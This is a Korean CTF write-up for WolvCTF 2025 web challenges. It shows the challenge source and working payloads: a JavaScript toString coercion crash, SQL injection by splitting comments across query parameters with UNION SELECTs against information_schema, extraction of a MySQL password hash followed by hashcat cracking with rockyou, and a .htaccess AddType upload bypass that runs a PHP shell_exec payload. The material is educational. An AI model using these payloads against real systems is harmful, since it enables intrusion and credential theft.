WolvCTF 2025

JavaScript Puzzle

const express = require('express')

const app = express()
const port = 8000

app.get('/', (req, res) => {
    try {
        const username = req.query.username || 'Guest'
        const output = 'Hello ' + username
        res.send(output)
    }
    catch (error) {
        res.sendFile(__dirname + '/flag.txt')
    }
})

app.listen(port, () => {
    console.log(`Server is running at http://localhost:${port}`)
})

'Hello ' + username 연산은 객체인 username을 문자열로 변환하기 위해 ToPrimitive를 수행한다. username.toString을 호출할 수 없는 값으로 덮으면 변환에 실패해 예외가 발생하고, catch에서 flag 파일을 반환한다.

username[toString]=1

Limited 1

@app.route('/query')
def query():
    try:
        price = float(request.args.get('price') or '0.00')
    except:
        price = 0.0

    price_op = str(request.args.get('price_op') or '>')
    if not re.match(r' ?(=|<|<=|<>|>=|>) ?', price_op):
        return 'price_op must be one of =, <, <=, <>, >=, or > (with an optional space on either side)', 400

    # allow for at most one space on either side
    if len(price_op) > 4:
        return 'price_op too long', 400

    # I'm pretty sure the LIMIT clause cannot be used for an injection
    # with MySQL 9.x
    #
    # This attack works in v5.5 but not later versions
    # https://lightless.me/archives/111.html
    limit = str(request.args.get('limit') or '1')

    query = f"""SELECT /*{FLAG1}*/category, name, price, description FROM Menu WHERE price {price_op} {price} ORDER BY 1 LIMIT {limit}"""
    print('query:', query)

    if ';' in query:
        return 'Sorry, multiple statements are not allowed', 400

    try:
        cur = mysql.connection.cursor()
        cur.execute(query)
        records = cur.fetchall()
        column_names = [desc[0] for desc in cur.description]
        cur.close()
    except Exception as e:
        return str(e), 400

    result = [dict(zip(column_names, row)) for row in records]
    return jsonify(result)

SQL query를 실행할 때 price_op>/*, limit 앞부분에 */를 넣으면 SQL injection이 가능하다.

information_schema.processlist에서 실행 중인 query를 확인하면 query 내부의 주석으로 삽입된 flag를 볼 수 있다.

/query?price=11&price_op=>/*&limit=*/100 UNION SELECT 1,2,3,INFO FROM information_schema.processlist

Limited 2

Limited 1과 같은 소스 코드를 사용하는 문제다. Flag로 시작하는 table의 값을 확인하면 된다.

/query?price=0&price_op=>/*&limit=*/1 UNION SELECT 1,2,3,table_name FROM information_schema.tables

/query?price=5&price_op=>/*&limit=*/100 UNION SELECT 1,2,3,column_name FROM information_schema.columns WHERE table_name='Flag_843423739'

/query?price=0&price_op=>/*&limit=*/1 UNION SELECT 1,2,3,value FROM Flag_843423739

Limited 3

-- This password is 13 characters and can be found in rockyou.
-- It is the flag for one of the challenges using this source
-- BUT it needs to be wrapped by wctf{} before submitting.
create user 'flag' identified by 'REDACTED_FLAG';

해당 문제의 MySQL은 password를 저장할 때 caching_sha2_password를 사용한다. 비밀번호가 rockyou에 있는 13글자라는 정보를 바탕으로 brute force를 진행했다.

UNION SELECT 1,2,3,
  CONCAT('$mysql',
    LEFT(authentication_string, 6),
    '*',
    INSERT(HEX(SUBSTR(authentication_string, 8)), 41, 0, '*')
  ) AS hash
FROM mysql.user
WHERE plugin = 'caching_sha2_password'
  AND authentication_string NOT LIKE '%INVALIDSALTANDPASSWORD%'
  AND user = 'flag'

우선 hash 값을 알아내기 위해 위 query를 사용했다.

$mysql$A$005*766E4F5E5D03106A4C027233476433535C4B5E20*3865726464724C6E39747276424F484B6B63742E37307966474C58742F4466634E58767371592F70325044

위의 값을 토대로 hashcat의 7401 옵션을 이용해(-m 7401 = MySQL 8+ caching_sha2_password 해시) flag를 구할 수 있었다.

hashcat -m 7401 -a 0 hashes rockyou-13.txt

Art Contest

if (isset($_FILES['fileToUpload'])) {
    $target_file = basename($_FILES["fileToUpload"]["name"]);
    $session_id = session_id();
    $target_dir = "/var/www/html/uploads/$session_id/";
    $target_file_path = $target_dir . $target_file;
    $uploadOk = 1;
    $lastDotPosition = strrpos($target_file, '.');

    // Check if file already exists
    if (file_exists($target_file_path)) {
        echo "Sorry, file already exists.\n";
        $uploadOk = 0;
    }
    
    // Check file size
    if ($_FILES["fileToUpload"]["size"] > 50000) {
        echo "Sorry, your file is too large.\n";
        $uploadOk = 0;
    }

    // If the file contains no dot, evaluate just the filename
    if ($lastDotPosition == false) {
        $filename = substr($target_file, 0, $lastDotPosition);
        $extension = '';
    } else {
        $filename = substr($target_file, 0, $lastDotPosition);
        $extension = substr($target_file, $lastDotPosition + 1);
    }

    // Ensure that the extension is a txt file
    if ($extension !== '' && $extension !== 'txt') {
        echo "Sorry, only .txt extensions are allowed.\n";
        $uploadOk = 0;
    }
    
    if (!(preg_match('/^[a-f0-9]{32}$/', $session_id))) {
    	echo "Sorry, that is not a valid session ID.\n";
        $uploadOk = 0;
    }

    // Check if $uploadOk is set to 0 by an error
    if ($uploadOk == 0) {
        echo "Sorry, your file was not uploaded.\n";
    } else {
        // If everything is ok, try to upload the file
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file_path)) {
            echo "The file " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.";
        } else {
            echo "Sorry, there was an error uploading your file.";
        }
    }

    $old_path = getcwd();
    chdir($target_dir);
    // make unreadable - the proper way
    shell_exec('chmod -- 000 *');
    chdir($old_path);
}

PHP로 만든 파일 업로드 사이트다. ../를 삽입할 방법을 찾아봤지만 불가능했다.

문제에서는 업로드 이후 chmod -- 000 * 명령어로 업로드한 파일을 읽을 수 없게 만든다. 하지만 *를 사용하면 파일명이 .으로 시작하는 파일은 처리되지 않는다.

또한 if ($lastDotPosition == false) 조건문에서 점의 위치가 맨 앞이면 $lastDotPosition0이 되고, 느슨한 비교 때문에 조건식이 true가 된다. 점을 찾지 못한 경우만 확인하려면 === false를 사용해야 한다.

따라서 Apache가 해당 디렉터리의 .htaccessAddType 지시어를 허용하는 문제 환경에서는 .txt 파일을 PHP 파일처럼 실행해 flag를 읽을 수 있다.

  • .htaccess
AddType application/x-httpd-php .txt
  • .getflag.txt
<?php
header("Content-Type: text/plain");

echo "Path: " . realpath('../../get_flag') . "\n";
echo "Exists: " . (file_exists('../../get_flag') ? 'Yes' : 'No') . "\n";
echo "Output:\n";

$output = shell_exec('cd /var/www/html && ./get_flag 2>&1');

echo $output;